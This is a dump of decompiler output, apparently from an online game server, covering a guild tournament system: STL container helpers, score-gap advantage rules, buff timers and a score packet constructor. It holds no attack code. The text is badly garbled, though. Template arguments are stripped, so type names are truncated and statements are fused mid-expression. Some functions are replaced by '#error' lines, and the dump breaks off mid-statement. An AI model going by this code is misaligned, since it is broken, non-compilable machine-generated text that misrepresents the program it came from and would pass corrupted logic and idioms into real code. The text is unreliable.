GuildTournamentSystem::GuildMemberInfo *_Val) { std::vector > *v4; // edi@1 GuildTournamentSystem::GuildMemberInfo *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0045BE40) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree,std::allocator >,0> >::iterator *v5; // eax@2 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@3 std::pair *v7; // esi@3 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 const unsigned int v9; // ebp@9 bool v10; // cf@9 int v11; // ecx@21 char v12; // [sp+8h] [bp-8h]@21 v4 = this; if ( !this->_Mysize ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 1, this->_Myhead, _Val); return result; } v6 = this->_Myhead; v7 = _Val; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_Where == v6->_Left ) { if ( _Val->first < *(_DWORD *)(*(_DWORD *)&_Where + 12) ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 1, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, _Val); return result; } goto LABEL_21; } if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_Where == v6 ) { v8 = v6->_Right; if ( v8->_Myval.first < _Val->first ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 0, v8, _Val); return result; } goto LABEL_21; } v9 = _Val->first; v10 = *(_DWORD *)(*(_DWORD *)&_Where + 12) < _Val->first; if ( *(_DWORD *)(*(_DWORD *)&_Where + 12) > _Val->first ) { _Val = (std::pair *)_Where; std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); if ( _Val[1].second < v9 ) { if ( *(_BYTE *)(_Val[1].first + 21) ) { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 0, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val, v7); v5 = result; } else { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 1, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, v7); v5 = result; } return v5; } v10 = *(_DWORD *)(*(_DWORD *)&_Where + 12) < v9; } if ( !v10 || (_Val = (std::pair *)_Where, std::_Tree_std::allocator>_1>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val), (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val != v4->_Myhead) && v9 >= _Val[1].second ) { LABEL_21: v11 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::insert( v4, (std::pair,std::allocator >,0> >::iterator,bool> *)&v12, v7)->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v11; return v5; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&_Where + 8) + 21) ) { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 0, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, v7); v5 = result; } else { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val, v7); v5 = result; } return v5; } //----- (0045BFB0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TickTimer *_Val) { std::vector > *v4; // edi@1 TickTimer *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 1; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0045C020) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TOURNAMENT_PLAYER_SCORE *_Val) { std::vector > *v4; // edi@1 TOURNAMENT_PLAYER_SCORE *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0045C090) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Erase( this, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator= (unsigned int)&wholesaver.ws_savestore[861].esc_skill.buffer[13191] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(this, *((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 68) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 68) = 1; *(_BYTE *)(v14 + 68) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 68) = 0; v11 = *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 68) = 1; *result = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0045C300) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last) { GuildTournamentSystem::AdvanMobItemRegenInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Val) { GuildTournamentSystem::FlagInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) GuildTournamentSystem::FlagInfo::operator_((int)i, (int)_Val); } //----- (0045C360) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::FlagInfo *_First, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::FlagInfo *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp-Ch] [bp-20h]@1 GuildTournamentSystem::FlagInfo *_Next; // [sp+0h] [bp-14h]@1 int *v9; // [sp+4h] [bp-10h]@1 int v10; // [sp+10h] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) GuildTournamentSystem::FlagInfo::FlagInfo(v5, _Val); --v6; ++v5; LOBYTE(v10) = 0; } } //----- (0045C3F0) -------------------------------------------------------- #error "45C3F0: undefined or illegal type '#325' (funcsize=41)" //----- (0045C460) -------------------------------------------------------- void __thiscall GuildTournamentSystem::ChangeAdvanRule(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // edi@1 unsigned int v2; // ecx@1 unsigned int v3; // eax@1 unsigned __int16 v4; // bp@2 bool v5; // bl@2 int v6; // edx@5 int v7; // eax@5 int i; // esi@7 int v9; // eax@8 void *v10; // eax@10 int v11; // edx@13 int v12; // eax@14 GuildTournamentSystem::GuildGroup::Advantage val; // [sp+Ch] [bp-8h]@17 v1 = this; v2 = this->m_GroupB.m_unAllGuildScore; v3 = v1->m_GroupA.m_unAllGuildScore; if ( v3 >= v2 ) { v4 = v3 - v2; v5 = 0; } else { v4 = v2 - v3; v5 = 1; } if ( v4 ) { v6 = ITableBase::ms_pkTable; v7 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( v7 ) { if ( *(_DWORD *)(v7 + 40) ) { for ( i = 0; ; ++i ) { v9 = *(_DWORD *)(v6 + 52); if ( !v9 ) break; if ( (unsigned int)i >= *(_DWORD *)(v9 + 40) ) break; v10 = CDataReader::GetRecord((CDataReader *)(v6 + 4), i); if ( !v10 ) return; if ( v4 < *(_WORD *)((char *)v10 + 1) ) goto LABEL_17; v6 = ITableBase::ms_pkTable; } v11 = *(_DWORD *)(v6 + 52); if ( v11 ) v12 = *(_DWORD *)(v11 + 40); else v12 = 0; i = v12 - 1; LABEL_17: val.m_nLevel = i; val.m_IsAdvan = v5; GuildTournamentSystem::GuildGroup::SetAdvan(&v1->m_GroupA, &val); val.m_IsAdvan = v5 == 0; val.m_nLevel = i; GuildTournamentSystem::GuildGroup::SetAdvan(&v1->m_GroupB, &val); } } } } // C8F2518: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; //----- (0045C520) -------------------------------------------------------- #error "45C520: undefined or illegal type '#325' (funcsize=62)" //----- (0045C5E0) -------------------------------------------------------- #error "45C5E0: undefined or illegal type '#325' (funcsize=9)" //----- (0045C600) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::Update(GuildTournamentSystem::GuildGroup *this, int nTickDeltaTime) { GuildTournamentSystem::GuildGroup *v2; // ebx@1 TickTimer *v3; // esi@1 unsigned int v4; // edi@3 int v5; // esi@3 int i; // ebp@3 int v7; // eax@4 int v8; // ebx@6 int v9; // ebx@9 GuildTournamentSystem::GuildGroup *v10; // [sp+10h] [bp-4h]@1 v2 = this; v3 = &this->m_LastGuildMasterReviveTime; v10 = this; if ( TickTimer::CheckUpdateEvent(&this->m_LastGuildMasterReviveTime, nTickDeltaTime) ) { TickTimer::Enable(v3, 0); GuildTournamentSystem::GuildGroup::GuildMasterBuffRun(v2); } v4 = 0; v5 = (int)&v2->m_vecGuildBuffUseTime; for ( i = 0; ; i += 12 ) { v7 = *(_DWORD *)(v5 + 4); if ( !v7 ) break; if ( v4 >= (*(_DWORD *)(v5 + 8) - v7) / 12 ) break; v8 = *(_DWORD *)(v5 + 4); if ( !v8 || (*(_DWORD *)(v5 + 8) - v8) / 12 <= v4 ) LABEL_13: std::vector>::_Xran((std::vector > *)v5); if ( TickTimer::CheckUpdateEvent((TickTimer *)(v8 + i), nTickDeltaTime) ) { v9 = *(_DWORD *)(v5 + 4); if ( !v9 || (*(_DWORD *)(v5 + 8) - v9) / 12 <= v4 ) goto LABEL_13; TickTimer::Enable((TickTimer *)(v9 + i), 0); } v2 = v10; ++v4; } if ( TickTimer::CheckUpdateEvent(&v2->m_FlagMultiplelTime, nTickDeltaTime) ) { GuildTournamentSystem::GuildGroup::SetFlagMultiple(v2, 1); TickTimer::Enable(&v2->m_FlagMultiplelTime, 0); } } //----- (0045C700) -------------------------------------------------------- #error "45C700: undefined or illegal type '#325' (funcsize=42)" //----- (0045C7B0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SendScorePacket::SendScorePacket(GuildTournamentSystem::SendScorePacket *this, GuildTournamentSystem::GuildGroup *pGroup) { this->m_vecPlayerScores._Myfirst = 0; this->m_vecPlayerScores._Mylast = 0; this->m_vecPlayerScores._Myend = 0; this->m_pPacket = (PROTO_NC_GUILD_TOURNAMENT_SCORE_CMD *)this; *(_DWORD *)&this->buffer[1] = pGroup->m_GuildNumber; this->m_pPacket->unAllScore = pGroup->m_unAllGuildScore; this->m_pPacket->unCaptureFlagCount = pGroup->m_nCaptureFlagCount; this->m_pPacket->unPlayerNum = 0; this->m_pPacket->PartMask = 0; } //----- (0045C7F0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, const unsigned __int16 *_Val) { unsigned __int16 *v2; // esi@1 signed int v3; // edx@2 unsigned __int16 *v4; // eax@6 v2 = this->_Myfirst; if ( v2 ) v3 = this->_Mylast - v2; else v3 = 0; if ( v2 && v3 < this->_Myend - v2 ) { v4 = this->_Mylast; *v4 = *_Val; this->_Mylast = v4 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u, _Val); } } //----- (0045C840) -------------------------------------------------------- int *__thiscall std::map_std::allocator>>::operator__(std::map,std::allocator > > *this, const unsigned int *_Keyval) { std::_Tree,std::allocator >,0> >::iterator v2; // edx@1 std::_Tree,std::allocator >,0> >::iterator v3; // eax@1 int *result; // eax@8 std::pair _Val; // [sp+Ch] [bp-8h]@8 v2 = (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead; v3 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v2 + 4); while ( !*(_BYTE *)(*(_DWORD *)&v3 + 21) ) { if ( *(_DWORD *)(*(_DWORD *)&v3 + 12) >= *_Keyval ) { v2 = v3; v3 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v3; } else { v3 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v3 + 8); } } if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v2 != this->baseclass_0._Myhead && *_Keyval >= *(_DWORD *)(*(_DWORD *)&v2 + 12) ) { result = (int *)(*(_DWORD *)&v2 + 16); } else { _Val.first = *_Keyval; _Val.second = 0; result = (int *)(*(_DWORD *)&std::_Tree_std::allocator>_0>>::insert( &this->baseclass_0, (std::_Tree,std::allocator >,0> >::iterator *)&_Keyval, v2, &_Val)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] + 16); } return result; } //----- (0045C8C0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, TickTimer *_Val) { std::vector > *v2; // esi@1 TickTimer *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 TickTimer *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 1; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0045C940) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Val) { std::vector > *v2; // esi@1 TOURNAMENT_PLAYER_SCORE *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 TOURNAMENT_PLAYER_SCORE *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 4; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0045C9D0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this) { #740 **v1; // esi@1 signed int v2; // edx@2 #740 **v3; // eax@6 #740 **v4; // [sp+8h] [bp+4h]@0 v1 = this->_Myfirst; if ( v1 ) v2 = this->_Mylast - v1; else v2 = 0; if ( v1 && v2 < this->_Myend - v1 ) { v3 = this->_Mylast; *v3 = *v4; this->_Mylast = v3 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u); } } //----- (0045CA20) -------------------------------------------------------- GuildTournamentSystem::Gate *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::Gate *_Ptr, unsigned int _Count, GuildTournamentSystem::Gate *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0045CA50) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v2; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0045CAA0) -------------------------------------------------------- GuildTournamentSystem::AdvanMobItemRegenInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0045CAD0) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...) { int v3; // ebp@1 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v4; // ebx@1 char v5; // al@1 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v6; // edi@1 unsigned int i; // ecx@2 unsigned int v8; // ebx@4 const char *v9; // eax@5 unsigned int v10; // edx@7 int v11; // ecx@10 const char *v12; // esi@13 int v13; // eax@15 bool v14; // sf@15 unsigned __int8 v15; // of@15 signed int v16; // eax@17 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *_Wherenode; // [sp+20h] [bp-4h]@4 v3 = *(_DWORD *)(*((_DWORD *)this + 1) + 4); v4 = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)*((_DWORD *)this + 1); v5 = 1; v6 = _Val; thisa = this; _Addleft = 1; if ( !*(_BYTE *)(v3 + 69) ) { for ( i = _Val->first._Mysize; ; i = _Val->first._Mysize ) { v8 = *(_DWORD *)(v3 + 32); _Wherenode = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)v3; if ( *(_DWORD *)(v3 + 36) < 0x10u ) v9 = (const char *)(v3 + 16); else v9 = *(const char **)(v3 + 16); v10 = _Val->first._Mysize; if ( i < _Val->first._Mysize ) v10 = i; if ( !v10 ) goto LABEL_37; v11 = v10; if ( v10 >= v8 ) v11 = *(_DWORD *)(v3 + 32); v12 = (const char *)(v6->first._Myres < 0x10 ? &v6->first._Bx : *(_DWORD *)&v6->first._Bx._Buf[0]); v13 = strncmp(v12, v9, v11); v15 = 0; v14 = v13 < 0; v6 = _Val; if ( !v13 ) { LABEL_37: if ( v10 >= v8 ) v16 = v10 != v8; else v16 = -1; v15 = 0; v14 = v16 < 0; } v5 = v14 ^ v15; _Addleft = v14 ^ v15; v3 = v14 ^ v15 ? *(_DWORD *)v3 : *(_DWORD *)(v3 + 8); if ( *(_BYTE *)(v3 + 69) ) break; } v4 = _Wherenode; this = thisa; } v17 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> ***)this + 1) ) { v18 = *std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( this, (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst = v18; result->second = 1; return v19; } std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst._Myres < 0x10 ) v20 = (const char *)&v6->first._Bx; else v20 = *(const char **)&v6->first._Bx._Buf[0]; if ( std::basic_string_std::allocator>::compare( (std::basic_string,std::allocator > *)(v17 + 12), 0, *(_DWORD *)(v17 + 32), v20, v6->first._Mysize) >= 0 ) { v19 = result; result->first = v17; result->second = 0; } else { v21 = *std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( thisa, (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst = v21; result->second = 1; } return v19; } //----- (0045CC50) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last) { GuildTournamentSystem::Gate *i; // esi@1 for ( i = _First; i != _Last; ++i ) GuildTournamentSystem::Gate::_Gate(i); } //----- (0045CC80) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::Gate *_Val) { std::vector > *v4; // esi@1 GuildTournamentSystem::Gate *v5; // edx@1 int v6; // ecx@1 int v7; // eax@2 unsigned int v8; // edi@4 int v9; // ecx@10 int v10; // eax@14 int v11; // ecx@17 int v12; // eax@21 void *v13; // ebx@24 GuildTournamentSystem::Gate *v14; // ST18_4@24 GuildTournamentSystem::Gate *v15; // ST20_4@24 GuildTournamentSystem::Gate *v16; // ecx@24 int v17; // eax@25 int v18; // edi@27 GuildTournamentSystem::Gate *v19; // eax@30 int v20; // ecx@30 unsigned int v21; // ST28_4@31 GuildTournamentSystem::Gate *v22; // ST24_4@31 unsigned int v23; // edi@31 GuildTournamentSystem::Gate *v24; // edi@32 int v25; // [sp-Ch] [bp-6Ch]@1 std::vector > *thisa; // [sp+0h] [bp-60h]@1 GuildTournamentSystem::Gate *_Newvec; // [sp+4h] [bp-5Ch]@24 GuildTournamentSystem::Gate *_Ptr; // [sp+8h] [bp-58h]@24 GuildTournamentSystem::Gate _Tmp; // [sp+Ch] [bp-54h]@1 unsigned int cookie; // [sp+4Ch] [bp-14h]@37 int *v31; // [sp+50h] [bp-10h]@1 int v32; // [sp+5Ch] [bp-4h]@1 int _Counta; // [sp+6Ch] [bp+Ch]@24 v4 = this; v31 = &v25; thisa = this; GuildTournamentSystem::Gate::Gate(&_Tmp, _Val); v5 = 